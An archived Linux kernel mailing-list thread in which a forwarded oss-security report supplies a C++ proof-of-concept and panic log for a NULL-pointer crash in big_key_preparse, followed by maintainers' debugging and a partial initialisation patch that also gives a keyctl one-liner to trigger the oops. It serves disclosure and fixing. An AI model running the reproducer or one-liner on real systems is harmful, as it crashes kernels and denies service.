Groups | Search | Server Info | Keyboard shortcuts | Login | Register [http] [https] [nntp] [nntps]


Groups > linux.kernel > #1448802 > unrolled thread

[zer0mem@yahoo.com: [oss-security] panic at big_key_preparse #4.7-r6/rc7 & master]

Started byGreg KH <gregkh@linuxfoundation.org>
First post2016-07-22 23:50 +0200
Last post2016-07-27 15:30 +0200
Articles 11 — 3 participants

Back to article view | Back to linux.kernel


Contents

  [zer0mem@yahoo.com: [oss-security] panic at big_key_preparse  #4.7-r6/rc7 & master] Greg KH <gregkh@linuxfoundation.org> - 2016-07-22 23:50 +0200
    Re: [zer0mem@yahoo.com: [oss-security] panic at big_key_preparse #4.7-r6/rc7 & master] David Howells <dhowells@redhat.com> - 2016-07-25 15:10 +0200
    Re: [zer0mem@yahoo.com: [oss-security] panic at big_key_preparse #4.7-r6/rc7 & master] David Howells <dhowells@redhat.com> - 2016-07-25 15:10 +0200
      Re: [zer0mem@yahoo.com: [oss-security] panic at big_key_preparse #4.7-r6/rc7 & master] David Howells <dhowells@redhat.com> - 2016-07-25 23:50 +0200
        Re: [zer0mem@yahoo.com: [oss-security] panic at big_key_preparse #4.7-r6/rc7 & master] David Howells <dhowells@redhat.com> - 2016-07-26 09:50 +0200
          Re: [zer0mem@yahoo.com: [oss-security] panic at big_key_preparse  #4.7-r6/rc7 & master] Vegard Nossum <vegard.nossum@gmail.com> - 2016-07-26 11:20 +0200
            Re: [zer0mem@yahoo.com: [oss-security] panic at big_key_preparse #4.7-r6/rc7 & master] David Howells <dhowells@redhat.com> - 2016-07-26 12:20 +0200
    Re: [zer0mem@yahoo.com: [oss-security] panic at big_key_preparse #4.7-r6/rc7 & master] David Howells <dhowells@redhat.com> - 2016-07-25 17:30 +0200
      Re: [zer0mem@yahoo.com: [oss-security] panic at big_key_preparse  #4.7-r6/rc7 & master] Greg KH <gregkh@linuxfoundation.org> - 2016-07-25 22:20 +0200
    Re: [zer0mem@yahoo.com: [oss-security] panic at big_key_preparse #4.7-r6/rc7 & master] David Howells <dhowells@redhat.com> - 2016-07-27 00:50 +0200
    [RFC][PATCH] KEYS: Sort out big_key initialisation David Howells <dhowells@redhat.com> - 2016-07-27 15:30 +0200

#1448802 — [zer0mem@yahoo.com: [oss-security] panic at big_key_preparse #4.7-r6/rc7 & master]

FromGreg KH <gregkh@linuxfoundation.org>
Date2016-07-22 23:50 +0200
Subject[zer0mem@yahoo.com: [oss-security] panic at big_key_preparse #4.7-r6/rc7 & master]
Message-ID<rXQuu-2Qh-13@gated-at.bofh.it>
David, here's a bug report with reproducer that was sent to the
oss-security mailing list for some unknown reason earlier today.

Any ideas?

thanks,

greg k-h


----- Forwarded message from zer0mem@yahoo.com -----

Date: Fri, 22 Jul 2016 22:54:09 +0800
From: zer0mem@yahoo.com
To: "oss-security@lists.openwall.com" <oss-security@lists.openwall.com>
Cc: "cve-assign@mitre.org" <cve-assign@mitre.org>, Marco Grassi <marco.gra@gmail.com>
Subject: [oss-security] panic at big_key_preparse #4.7-r6/rc7 & master

Hi,

Following code will panic 4.7-rc6/rc7 & master

However will not panic at latest stable 4.6.4 kernel apparently


qemu + kasan

“””

/*

author : @zer0mem

Qilin : v3.2 [ linux ]
Reproducer : v1.0

KASAN : active
KTSAN : non-active

Linux Kernel version : 4.7

compile : clang++-3.8 -std=c++1y poc.cpp -lpthread -o big_key_poc

issue : add_key -> "big_key"

[94011.624218] kasan: CONFIG_KASAN_INLINE enabled
[94011.624507] kasan: GPF could be caused by NULL-ptr deref or user memory access
[94011.624930] general protection fault: 0000 [#1] SMP KASAN
[94011.625234] Modules linked in:
[94011.625421] CPU: 0 PID: 13245 Comm: a.out Tainted: G    B           4.7.0-rc6+ #9
[94011.625837] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014
[94011.626363] task: ffff880013b1d580 ti: ffff8800693d8000 task.ti: ffff8800693d8000
[94011.626778] RIP: 0010:[<ffffffff819e6e64>]  [<ffffffff819e6e64>] big_key_preparse+0x1a4/0x540
[94011.627262] RSP: 0018:ffff8800693dfc90  EFLAGS: 00010206
[94011.627559] RAX: dffffc0000000000 RBX: ffff8800693dfdc8 RCX: 0000000000000000
[94011.627956] RDX: 0000000000000009 RSI: 0000000000000000 RDI: 0000000000000048
[94011.628356] RBP: ffff8800693dfcc8 R08: ffffed000d27bfc2 R09: ffff8800693dfdc8
[94011.628752] R10: ffff8800693dfe0f R11: ffffed000d27bfc2 R12: 0000000000000000
[94011.629149] R13: 0000000000000f50 R14: ffff8800693dfe48 R15: ffff8800693dfdf0
[94011.629547] FS:  00007faf577fe700(0000) GS:ffff88006d200000(0000) knlGS:0000000000000000
[94011.629994] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[94011.630361] CR2: 0000000000609000 CR3: 000000006a9bd000 CR4: 00000000000006f0
[94011.630812] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[94011.631223] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[94011.631633] Stack:
[94011.631755]  ffff8800693dfdc8 0000000000000048 ffffffff819e6cc0 1ffff1000d27bfa5
[94011.632349]  ffffffffffffffec ffff8800693dfe48 ffff88005098b400 ffff8800693dfe70
[94011.633063]  ffffffff819d5a81 0000000000000004 ffff8800693dfd30 ffff8800693dfdc8
[94011.633550] Call Trace:
[94011.633702]  [<ffffffff819e6cc0>] ? big_key_crypt+0x2a0/0x2a0
[94011.634034]  [<ffffffff819d5a81>] key_create_or_update+0x361/0xa00
[94011.634389]  [<ffffffff819d5720>] ? key_type_lookup+0xe0/0xe0
[94011.634719]  [<ffffffff815c3609>] ? ___slab_alloc+0x179/0x4c0
[94011.635050]  [<ffffffff815c5643>] ? __kmalloc+0x103/0x250
[94011.635360]  [<ffffffff819da6e4>] SyS_add_key+0x1f4/0x390
[94011.635671]  [<ffffffff819da4f0>] ? key_get_type_from_user.constprop.8+0xe0/0xe0
[94011.636106]  [<ffffffff81083d40>] ? compat_start_thread+0x90/0x90
[94011.636457]  [<ffffffff82d36af6>] entry_SYSCALL_64_fastpath+0x1e/0xa8
[94011.636823] Code: 5c 41 5d 41 5e 41 5f 5d c3 e8 89 f1 98 ff 4c 8b 25 32 cb 47 02 48 b8 00 00 00 00 00 fc ff df 49 8d 7c 24 48 48 89 fa 48 c1 ea 03 <80> 3c 02 00 0f 85 78 03 00 00 4d 8b 64 24 48 48 b8 00 00 00 00 
[94011.638412] RIP  [<ffffffff819e6e64>] big_key_preparse+0x1a4/0x540
[94011.638775]  RSP <ffff8800693dfc90>
[94011.639205] ---[ end trace 0255e2496c208fbf ]---
[94011.639474] Kernel panic - not syncing: Fatal exception
[94011.639855] Kernel Offset: disabled
[94011.640066] ---[ end Kernel panic - not syncing: Fatal exception

*/

#include <stdint.h>

#include <memory>
#include <algorithm>
#include <functional>
#include <string>
#include <atomic>
#include <stdlib.h>
#include <vector>
#include <stdlib.h>
#include <stdio.h>

#include <thread>

#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <fcntl.h>

#include <keyutils.h>

int handles[0x10] = { 0 };
char buffer[0x1000] = { 0 };

bool rand01() { return std::rand() % 2; }

void shaka()
{
	for (size_t i = 0; i < sizeof(buffer); ++i)
		buffer[i] = std::rand() % 0xFF;

	while (true)
	{
		for (size_t i = std::rand() % sizeof(buffer); i < sizeof(buffer); ++i)
			buffer[i] = std::rand() % 0xFF;

		sleep(std::rand() % 10);
	}
}

void workers(int fd)
{
	size_t max_round = 40 + std::rand() % 200;
	for (size_t i = 0; i < max_round; i++)
	{
		switch(std::rand() % 1)
		{
			case 0 :
			{
				add_key(
					rand01() ? "user" : "big_key",
					0,
					buffer,
					std::rand() % sizeof(buffer),
					handles[std::rand() % 0x10]);

			} break;

			default:
				break;
		}		
	}
}

void ctors(int ind)
{
	handles[ind] = 0;
	while (!handles[ind])
	{
		switch(std::rand() % 1)
		{
			case 0 :
			{
				handles[ind] = add_key(
					rand01() ? "user" : "big_key",
					0,
					buffer,
					std::rand() % sizeof(buffer),
					handles[std::rand() % 0x10]);
			} break;

			default:
				break;
		}
	}
	int fd = handles[ind];
	for (size_t i = 0; i < 20; ++i, sleep(1 + std::rand() % 4))
		for (size_t j = std::rand() % 4; j; --j)
			workers(fd);
}

int main()
{
	std::thread(shaka).detach();
	for (;; sleep(std::rand() % 4))
		std::thread([]()
			{
			for (size_t i = 0; i < 0x10; ++i)
				std::thread(ctors, i).detach();		
			}).detach();
	
	return 0;
};

#include <asm/unistd.h>

#define __weak __attribute__((weak))

key_serial_t __weak add_key(const char *type,
			    const char *description,
			    const void *payload,
			    size_t plen,
			    key_serial_t ringid)
{
	return syscall(__NR_add_key,
		       type, description, payload, plen, ringid);
}


“””

Peter

Sent from Mail for Windows 10


----- End forwarded message -----

[toc] | [next] | [standalone]


#1449461 — Re: [zer0mem@yahoo.com: [oss-security] panic at big_key_preparse #4.7-r6/rc7 & master]

FromDavid Howells <dhowells@redhat.com>
Date2016-07-25 15:10 +0200
SubjectRe: [zer0mem@yahoo.com: [oss-security] panic at big_key_preparse #4.7-r6/rc7 & master]
Message-ID<rYNNU-4XT-1@gated-at.bofh.it>
In reply to#1448802
Greg KH <gregkh@linuxfoundation.org> wrote:

> [94011.626778] RIP: 0010:[<ffffffff819e6e64>]  [<ffffffff819e6e64>] big_key_preparse+0x1a4/0x540

It would be useful to know what line this was from.  Can the faulting kernel
vmlinux be loaded into gdb and the line number of the faulting address found:

	i line *0xffffffff819e6e64

David

[toc] | [prev] | [next] | [standalone]


#1449464 — Re: [zer0mem@yahoo.com: [oss-security] panic at big_key_preparse #4.7-r6/rc7 & master]

FromDavid Howells <dhowells@redhat.com>
Date2016-07-25 15:10 +0200
SubjectRe: [zer0mem@yahoo.com: [oss-security] panic at big_key_preparse #4.7-r6/rc7 & master]
Message-ID<rYNNU-4XT-15@gated-at.bofh.it>
In reply to#1448802
Greg KH <gregkh@linuxfoundation.org> wrote:

> David, here's a bug report with reproducer that was sent to the
> oss-security mailing list for some unknown reason earlier today.

I don't suppose you have a C version of this?  There's a 'private' argument
name in the current keyutils.h file that means that the C++ variant won't
compile:-(

David

[toc] | [prev] | [next] | [standalone]


#1450009 — Re: [zer0mem@yahoo.com: [oss-security] panic at big_key_preparse #4.7-r6/rc7 & master]

FromDavid Howells <dhowells@redhat.com>
Date2016-07-25 23:50 +0200
SubjectRe: [zer0mem@yahoo.com: [oss-security] panic at big_key_preparse #4.7-r6/rc7 & master]
Message-ID<rYVV8-1ty-47@gated-at.bofh.it>
In reply to#1449464
<zer0mem@yahoo.com> wrote:

> Was you able to finally compile it in c++ ? if not I will rewrite it to c,
> but we are now out of shanghai, so I will be able to make it about Friday

I was able to.

David

[toc] | [prev] | [next] | [standalone]


#1450451 — Re: [zer0mem@yahoo.com: [oss-security] panic at big_key_preparse #4.7-r6/rc7 & master]

FromDavid Howells <dhowells@redhat.com>
Date2016-07-26 09:50 +0200
SubjectRe: [zer0mem@yahoo.com: [oss-security] panic at big_key_preparse #4.7-r6/rc7 & master]
Message-ID<rZ5hL-7Cz-9@gated-at.bofh.it>
In reply to#1450009
<zer0mem@yahoo.com> wrote:

> If you will have no luck to repro issue, I will take a deeper look at it at
> Friday and let you know asap

Can you find out the line on which the crash happens?  Load vmlinux into gdb
and do:

	i li *0x<RIP-address-from-panic>

If it says it's in some header file somewhere in an inline function, try
decrementing the RIP value until it appears in a C file.

Thanks,
David

[toc] | [prev] | [next] | [standalone]


#1450490

FromVegard Nossum <vegard.nossum@gmail.com>
Date2016-07-26 11:20 +0200
Message-ID<rZ6GR-8I-13@gated-at.bofh.it>
In reply to#1450451
On 26 July 2016 at 09:45, David Howells <dhowells@redhat.com> wrote:
> <zer0mem@yahoo.com> wrote:
>
>> If you will have no luck to repro issue, I will take a deeper look at it at
>> Friday and let you know asap
>
> Can you find out the line on which the crash happens?  Load vmlinux into

If you pipe the Code: from the original report into decodecode you get:

$ echo "Code: 5c 41 5d 41 5e 41 5f 5d c3 e8 89 f1 98 ff 4c 8b 25 32 cb
47 02 48 b8 00 00 00 00 00 fc ff df 49 8d 7c 24 48 48 89 fa 48 c1 ea
03 <80> 3c 02 00 0f 85 78 03 00 00 4d 8b 64 24 48 48 b8 00 00 00 00" |
scripts/decodecode
Code: 5c 41 5d 41 5e 41 5f 5d c3 e8 89 f1 98 ff 4c 8b 25 32 cb 47 02
48 b8 00 00 00 00 00 fc ff df 49 8d 7c 24 48 48 89 fa 48 c1 ea 03 <80>
3c 02 00 0f 85 78 03 00 00 4d 8b 64 24 48 48 b8 00 00 00 00
All code
========
  0:   5c                      pop    %rsp
  1:   41 5d                   pop    %r13
  3:   41 5e                   pop    %r14
  5:   41 5f                   pop    %r15
  7:   5d                      pop    %rbp
  8:   c3                      retq
  9:   e8 89 f1 98 ff          callq  0xffffffffff98f197
  e:   4c 8b 25 32 cb 47 02    mov    0x247cb32(%rip),%r12        # 0x247cb47
 15:   48 b8 00 00 00 00 00    movabs $0xdffffc0000000000,%rax
 1c:   fc ff df
 1f:   49 8d 7c 24 48          lea    0x48(%r12),%rdi
 24:   48 89 fa                mov    %rdi,%rdx
 27:   48 c1 ea 03             shr    $0x3,%rdx
 2b:*  80 3c 02 00             cmpb   $0x0,(%rdx,%rax,1)
<-- trapping instruction
 2f:   0f 85 78 03 00 00       jne    0x3ad
 35:   4d 8b 64 24 48          mov    0x48(%r12),%r12
 3a:   48                      rex.W
 3b:   b8 00 00 00 00          mov    $0x0,%eax

I find only two places that plausibly match this:

372:   5b                      pop    %rbx
373:   41 5c                   pop    %r12
375:   41 5d                   pop    %r13
377:   41 5e                   pop    %r14
379:   41 5f                   pop    %r15
37b:   5d                      pop    %rbp
37c:   c3                      retq
37d:   4c 8b 2d 00 00 00 00    mov    0x0(%rip),%r13        # 384
<big_key_preparse+0x164>
384:   48 b8 00 00 00 00 00    movabs $0xdffffc0000000000,%rax
38b:   fc ff df
38e:   49 8d 7d 48             lea    0x48(%r13),%rdi
392:   48 89 fa                mov    %rdi,%rdx
395:   48 c1 ea 03             shr    $0x3,%rdx
399:   80 3c 02 00             cmpb   $0x0,(%rdx,%rax,1)
39d:   0f 85 94 02 00 00       jne    637 <big_key_preparse+0x417>
3a3:   4d 8b 6d 48             mov    0x48(%r13),%r13
3a7:   48 b8 00 00 00 00 00    movabs $0xdffffc0000000000,%rax
3ae:   fc ff df

(this is most likely it since it matches with the pops+ret as well)

and

47d:   4c 8b 25 00 00 00 00    mov    0x0(%rip),%r12        # 484
<big_key_preparse+0x264>
484:   48 b8 00 00 00 00 00    movabs $0xdffffc0000000000,%rax
48b:   fc ff df
48e:   49 8d 7c 24 48          lea    0x48(%r12),%rdi
493:   48 89 fa                mov    %rdi,%rdx
496:   48 c1 ea 03             shr    $0x3,%rdx
49a:   80 3c 02 00             cmpb   $0x0,(%rdx,%rax,1)
49e:   0f 85 04 02 00 00       jne    6a8 <big_key_preparse+0x488>
4a4:   49 8b 44 24 48          mov    0x48(%r12),%rax
4a9:   48 ba 00 00 00 00 00    movabs $0xdffffc0000000000,%rdx
4b0:   fc ff df

That's:

$ addr2line -e security/keys/big_key.o -i 399
include/linux/crypto.h:628
include/linux/crypto.h:1188
security/keys/big_key.c:143

$ addr2line -e security/keys/big_key.o -i 49a
include/crypto/rng.h:112
include/crypto/rng.h:143
include/crypto/rng.h:160
security/keys/big_key.c:84
security/keys/big_key.c:160

Keep in mind that the faulting dereference is a byte comparison
(whereas the dereferences pointed to by those lines should all be
wider) and in fact comes from KASAN itself (KASAN_INLINE). So the
important thing to look for here is probably the dereference offset
0x48(%r12) which corresponds to the crypto_tfm->__crt_alg dereference,
and you see that %r12 is 0 which probably means the tfm is NULL.


Vegard

[toc] | [prev] | [next] | [standalone]


#1450522 — Re: [zer0mem@yahoo.com: [oss-security] panic at big_key_preparse #4.7-r6/rc7 & master]

FromDavid Howells <dhowells@redhat.com>
Date2016-07-26 12:20 +0200
SubjectRe: [zer0mem@yahoo.com: [oss-security] panic at big_key_preparse #4.7-r6/rc7 & master]
Message-ID<rZ7CW-HA-15@gated-at.bofh.it>
In reply to#1450490
Vegard Nossum <vegard.nossum@gmail.com> wrote:

> $ echo "Code: 5c 41 5d 41 5e 41 5f 5d c3 e8 89 f1 98 ff 4c 8b 25 32 cb
> 47 02 48 b8 00 00 00 00 00 fc ff df 49 8d 7c 24 48 48 89 fa 48 c1 ea
> 03 <80> 3c 02 00 0f 85 78 03 00 00 4d 8b 64 24 48 48 b8 00 00 00 00" |
> scripts/decodecode

Thanks!  I didn't know this existed.

David

[toc] | [prev] | [next] | [standalone]


#1449591 — Re: [zer0mem@yahoo.com: [oss-security] panic at big_key_preparse #4.7-r6/rc7 & master]

FromDavid Howells <dhowells@redhat.com>
Date2016-07-25 17:30 +0200
SubjectRe: [zer0mem@yahoo.com: [oss-security] panic at big_key_preparse #4.7-r6/rc7 & master]
Message-ID<rYPZp-6e9-59@gated-at.bofh.it>
In reply to#1448802
Greg KH <gregkh@linuxfoundation.org> wrote:

> David, here's a bug report with reproducer that was sent to the
> oss-security mailing list for some unknown reason earlier today.

Any idea how long I need to run this for?  I've been running it on 4.7.0-rc7
for over 2.5 hours with no issue.

David

[toc] | [prev] | [next] | [standalone]


#1449784

FromGreg KH <gregkh@linuxfoundation.org>
Date2016-07-25 22:20 +0200
Message-ID<rYUw2-B7-29@gated-at.bofh.it>
In reply to#1449591
On Mon, Jul 25, 2016 at 04:27:24PM +0100, David Howells wrote:
> Greg KH <gregkh@linuxfoundation.org> wrote:
> 
> > David, here's a bug report with reproducer that was sent to the
> > oss-security mailing list for some unknown reason earlier today.
> 
> Any idea how long I need to run this for?  I've been running it on 4.7.0-rc7
> for over 2.5 hours with no issue.

No idea, zer0mem?

[toc] | [prev] | [next] | [standalone]


#1450954 — Re: [zer0mem@yahoo.com: [oss-security] panic at big_key_preparse #4.7-r6/rc7 & master]

FromDavid Howells <dhowells@redhat.com>
Date2016-07-27 00:50 +0200
SubjectRe: [zer0mem@yahoo.com: [oss-security] panic at big_key_preparse #4.7-r6/rc7 & master]
Message-ID<rZjkJ-80Z-3@gated-at.bofh.it>
In reply to#1448802
Greg KH <gregkh@linuxfoundation.org> wrote:

> David, here's a bug report with reproducer that was sent to the
> oss-security mailing list for some unknown reason earlier today.
> 
> Any ideas?

I think may have figured it out: big_key_crypto_init() may fail even though
big_key_init() succeeds (and also vice versa).  The problem with this is that
big_key_rng and big_key_blkcipher are left set to NULL, but the big_key type
is still registered and there are no checks in the big_key crypto code for
this.

I can't say for certain that this is that actual cause as I haven't managed to
reproduce it, but the insertion of a pr_err() or a panic() in
big_key_crypto_init()'s error path should catch it if this is the case.

Possibly the crypto layer did print a message about missing crypto that can be
found amongst the kernel output.

Kirill: We should definitely print an error on failure during init.  How we
proceed after that can be argued a couple of different ways.  We could
deregister the key type, but it might be better to call big_key_crypto_init()
from big_key_init() before registering the type and make all the
initialisation to late_initcall.  This shouldn't be a problem as I don't
forsee us needing to create big_key type keys from within the kernel.

Is it also possible there's some crypto component we need beyond AES, ECB and
RNG?

David

> thanks,
> 
> greg k-h
> 
> 
> ------- Forwarded Message
> 
> Date: Fri, 22 Jul 2016 22:54:09 +0800
> From: zer0mem@yahoo.com
> To: "oss-security@lists.openwall.com" <oss-security@lists.openwall.com>
> Cc: "cve-assign@mitre.org" <cve-assign@mitre.org>, Marco Grassi <marco.gra@gmail.com>
> Subject: [oss-security] panic at big_key_preparse #4.7-r6/rc7 & master
> 
> Hi,
> 
> Following code will panic 4.7-rc6/rc7 & master
> 
> However will not panic at latest stable 4.6.4 kernel apparently
> 
> 
> qemu + kasan
> 
> 
> /*
> 
> author : @zer0mem
> 
> Qilin : v3.2 [ linux ]
> Reproducer : v1.0
> 
> KASAN : active
> KTSAN : non-active
> 
> Linux Kernel version : 4.7
> 
> compile : clang++-3.8 -std=c++1y poc.cpp -lpthread -o big_key_poc
> 
> issue : add_key -> "big_key"
> 
> [94011.624218] kasan: CONFIG_KASAN_INLINE enabled
> [94011.624507] kasan: GPF could be caused by NULL-ptr deref or user memory access
> [94011.624930] general protection fault: 0000 [#1] SMP KASAN
> [94011.625234] Modules linked in:
> [94011.625421] CPU: 0 PID: 13245 Comm: a.out Tainted: G    B           4.7.0-rc6+ #9
> [94011.625837] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014
> [94011.626363] task: ffff880013b1d580 ti: ffff8800693d8000 task.ti: ffff8800693d8000
> [94011.626778] RIP: 0010:[<ffffffff819e6e64>]  [<ffffffff819e6e64>] big_key_preparse+0x1a4/0x540
> [94011.627262] RSP: 0018:ffff8800693dfc90  EFLAGS: 00010206
> [94011.627559] RAX: dffffc0000000000 RBX: ffff8800693dfdc8 RCX: 0000000000000000
> [94011.627956] RDX: 0000000000000009 RSI: 0000000000000000 RDI: 0000000000000048
> [94011.628356] RBP: ffff8800693dfcc8 R08: ffffed000d27bfc2 R09: ffff8800693dfdc8
> [94011.628752] R10: ffff8800693dfe0f R11: ffffed000d27bfc2 R12: 0000000000000000
> [94011.629149] R13: 0000000000000f50 R14: ffff8800693dfe48 R15: ffff8800693dfdf0
> [94011.629547] FS:  00007faf577fe700(0000) GS:ffff88006d200000(0000) knlGS:0000000000000000
> [94011.629994] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
> [94011.630361] CR2: 0000000000609000 CR3: 000000006a9bd000 CR4: 00000000000006f0
> [94011.630812] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
> [94011.631223] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
> [94011.631633] Stack:
> [94011.631755]  ffff8800693dfdc8 0000000000000048 ffffffff819e6cc0 1ffff1000d27bfa5
> [94011.632349]  ffffffffffffffec ffff8800693dfe48 ffff88005098b400 ffff8800693dfe70
> [94011.633063]  ffffffff819d5a81 0000000000000004 ffff8800693dfd30 ffff8800693dfdc8
> [94011.633550] Call Trace:
> [94011.633702]  [<ffffffff819e6cc0>] ? big_key_crypt+0x2a0/0x2a0
> [94011.634034]  [<ffffffff819d5a81>] key_create_or_update+0x361/0xa00
> [94011.634389]  [<ffffffff819d5720>] ? key_type_lookup+0xe0/0xe0
> [94011.634719]  [<ffffffff815c3609>] ? ___slab_alloc+0x179/0x4c0
> [94011.635050]  [<ffffffff815c5643>] ? __kmalloc+0x103/0x250
> [94011.635360]  [<ffffffff819da6e4>] SyS_add_key+0x1f4/0x390
> [94011.635671]  [<ffffffff819da4f0>] ? key_get_type_from_user.constprop.8+0xe0/0xe0
> [94011.636106]  [<ffffffff81083d40>] ? compat_start_thread+0x90/0x90
> [94011.636457]  [<ffffffff82d36af6>] entry_SYSCALL_64_fastpath+0x1e/0xa8
> [94011.636823] Code: 5c 41 5d 41 5e 41 5f 5d c3 e8 89 f1 98 ff 4c 8b 25 32 cb 47 02 48 b8 00 00 00 00 00 fc ff df 49 8d 7c 24 48 48 89 fa 48 c1 ea 03 <80> 3c 02 00 0f 85 78 03 00 00 4d 8b 64 24 48 48 b8 00 00 00 00 
> [94011.638412] RIP  [<ffffffff819e6e64>] big_key_preparse+0x1a4/0x540
> [94011.638775]  RSP <ffff8800693dfc90>
> [94011.639205] ---[ end trace 0255e2496c208fbf ]---
> [94011.639474] Kernel panic - not syncing: Fatal exception
> [94011.639855] Kernel Offset: disabled
> [94011.640066] ---[ end Kernel panic - not syncing: Fatal exception
> 
> */
> 
> #include <stdint.h>
> 
> #include <memory>
> #include <algorithm>
> #include <functional>
> #include <string>
> #include <atomic>
> #include <stdlib.h>
> #include <vector>
> #include <stdlib.h>
> #include <stdio.h>
> 
> #include <thread>
> 
> #include <sys/types.h>
> #include <sys/wait.h>
> #include <unistd.h>
> #include <pthread.h>
> #include <sched.h>
> #include <signal.h>
> #include <fcntl.h>
> 
> #include <keyutils.h>
> 
> int handles[0x10] = { 0 };
> char buffer[0x1000] = { 0 };
> 
> bool rand01() { return std::rand() % 2; }
> 
> void shaka()
> {
> 	for (size_t i = 0; i < sizeof(buffer); ++i)
> 		buffer[i] = std::rand() % 0xFF;
> 
> 	while (true)
> 	{
> 		for (size_t i = std::rand() % sizeof(buffer); i < sizeof(buffer); ++i)
> 			buffer[i] = std::rand() % 0xFF;
> 
> 		sleep(std::rand() % 10);
> 	}
> }
> 
> void workers(int fd)
> {
> 	size_t max_round = 40 + std::rand() % 200;
> 	for (size_t i = 0; i < max_round; i++)
> 	{
> 		switch(std::rand() % 1)
> 		{
> 			case 0 :
> 			{
> 				add_key(
> 					rand01() ? "user" : "big_key",
> 					0,
> 					buffer,
> 					std::rand() % sizeof(buffer),
> 					handles[std::rand() % 0x10]);
> 
> 			} break;
> 
> 			default:
> 				break;
> 		}		
> 	}
> }
> 
> void ctors(int ind)
> {
> 	handles[ind] = 0;
> 	while (!handles[ind])
> 	{
> 		switch(std::rand() % 1)
> 		{
> 			case 0 :
> 			{
> 				handles[ind] = add_key(
> 					rand01() ? "user" : "big_key",
> 					0,
> 					buffer,
> 					std::rand() % sizeof(buffer),
> 					handles[std::rand() % 0x10]);
> 			} break;
> 
> 			default:
> 				break;
> 		}
> 	}
> 	int fd = handles[ind];
> 	for (size_t i = 0; i < 20; ++i, sleep(1 + std::rand() % 4))
> 		for (size_t j = std::rand() % 4; j; --j)
> 			workers(fd);
> }
> 
> int main()
> {
> 	std::thread(shaka).detach();
> 	for (;; sleep(std::rand() % 4))
> 		std::thread([]()
> 			{
> 			for (size_t i = 0; i < 0x10; ++i)
> 				std::thread(ctors, i).detach();		
> 			}).detach();
> 	
> 	return 0;
> };
> 
> #include <asm/unistd.h>
> 
> #define __weak __attribute__((weak))
> 
> key_serial_t __weak add_key(const char *type,
> 			    const char *description,
> 			    const void *payload,
> 			    size_t plen,
> 			    key_serial_t ringid)
> {
> 	return syscall(__NR_add_key,
> 		       type, description, payload, plen, ringid);
> }
> 
> 
> 
> Peter
> 
> Sent from Mail for Windows 10

[toc] | [prev] | [next] | [standalone]


#1451281 — [RFC][PATCH] KEYS: Sort out big_key initialisation

FromDavid Howells <dhowells@redhat.com>
Date2016-07-27 15:30 +0200
Subject[RFC][PATCH] KEYS: Sort out big_key initialisation
Message-ID<rZx4l-8nH-5@gated-at.bofh.it>
In reply to#1448802
The attached patch *might* fix the problem that's being seen.  It certainly
fixes the init problem.

David
---
commit 57b7807d7f7ac69a818edb2ba4b1ec17b10cee4b
Author: David Howells <dhowells@redhat.com>
Date:   Wed Jul 27 13:45:02 2016 +0100

    KEYS: Sort out big_key initialisation
    
    big_key has two separate initialisation functions, one that registers the
    key type and one that registers the crypto.  If the key type fails to
    register, there's no problem if the crypto registers successfully because
    there's no way to reach the crypto except through the key type.
    
    However, if the key type registers successfully but the crypto does not,
    big_key_rng and big_key_blkcipher may end up set to NULL - but the code
    neither checks for this nor unregisters the big key key type.
    
    Furthermore, since the key type is registered before the crypto, it is
    theoretically possible for the kernel to try adding a big_key before the
    crypto is set up, leading to the same effect.
    
    Fix this by merging big_key_crypto_init() and big_key_init() and calling
    the resulting function late.  If they're going to be encrypted, we
    shouldn't be creating big_keys before we have the facilities to do the
    encryption available.  The key type registration is also moved after the
    crypto initialisation.
    
    The fix also includes message printing on failure.
    
    If the big_key type isn't correctly set up, simply doing:
    
    	dd if=/dev/zero bs=4096 count=1 | keyctl padd big_key a @s
    
    ought to cause an oops.
    
    Signed-off-by: David Howells <dhowells@redhat.com>
    cc: Peter Hlavaty <zer0mem@yahoo.com>
    cc: Kirill Marinushkin <k.marinushkin@gmail.com>
    cc: stable@vger.kernel.org

diff --git a/security/keys/big_key.c b/security/keys/big_key.c
index 9e443fccad4c..e9cc02e7aba8 100644
--- a/security/keys/big_key.c
+++ b/security/keys/big_key.c
@@ -9,6 +9,7 @@
  * 2 of the Licence, or (at your option) any later version.
  */
 
+#define pr_fmt(fmt) "big_key: "fmt
 #include <linux/init.h>
 #include <linux/seq_file.h>
 #include <linux/file.h>
@@ -336,43 +337,47 @@ error:
  */
 static int __init big_key_init(void)
 {
-	return register_key_type(&key_type_big_key);
-}
-
-/*
- * Initialize big_key crypto and RNG algorithms
- */
-static int __init big_key_crypto_init(void)
-{
-	int ret = -EINVAL;
+	struct crypto_blkcipher *cipher;
+	struct crypto_rng *rng;
+	int ret;
 
-	/* init RNG */
-	big_key_rng = crypto_alloc_rng(big_key_rng_name, 0, 0);
-	if (IS_ERR(big_key_rng)) {
-		big_key_rng = NULL;
-		return -EFAULT;
+	rng = crypto_alloc_rng(big_key_rng_name, 0, 0);
+	if (IS_ERR(rng)) {
+		pr_err("Can't alloc rng: %ld\n", PTR_ERR(rng));
+		return PTR_ERR(rng);
 	}
 
+	big_key_rng = rng;
+
 	/* seed RNG */
-	ret = crypto_rng_reset(big_key_rng, NULL, crypto_rng_seedsize(big_key_rng));
-	if (ret)
-		goto error;
+	ret = crypto_rng_reset(rng, NULL, crypto_rng_seedsize(rng));
+	if (ret) {
+		pr_err("Can't reset rng: %d\n", ret);
+		goto error_rng;
+	}
 
-	/* init block cipher */
-	big_key_blkcipher = crypto_alloc_blkcipher(big_key_alg_name, 0, 0);
-	if (IS_ERR(big_key_blkcipher)) {
-		big_key_blkcipher = NULL;
-		ret = -EFAULT;
-		goto error;
+	cipher = crypto_alloc_blkcipher(big_key_alg_name, 0, 0);
+	if (IS_ERR(cipher)) {
+		ret = PTR_ERR(cipher);
+		pr_err("Can't alloc crypto: %d\n", ret);
+		goto error_rng;
+	}
+
+	big_key_blkcipher = cipher;
+	
+	ret = register_key_type(&key_type_big_key);
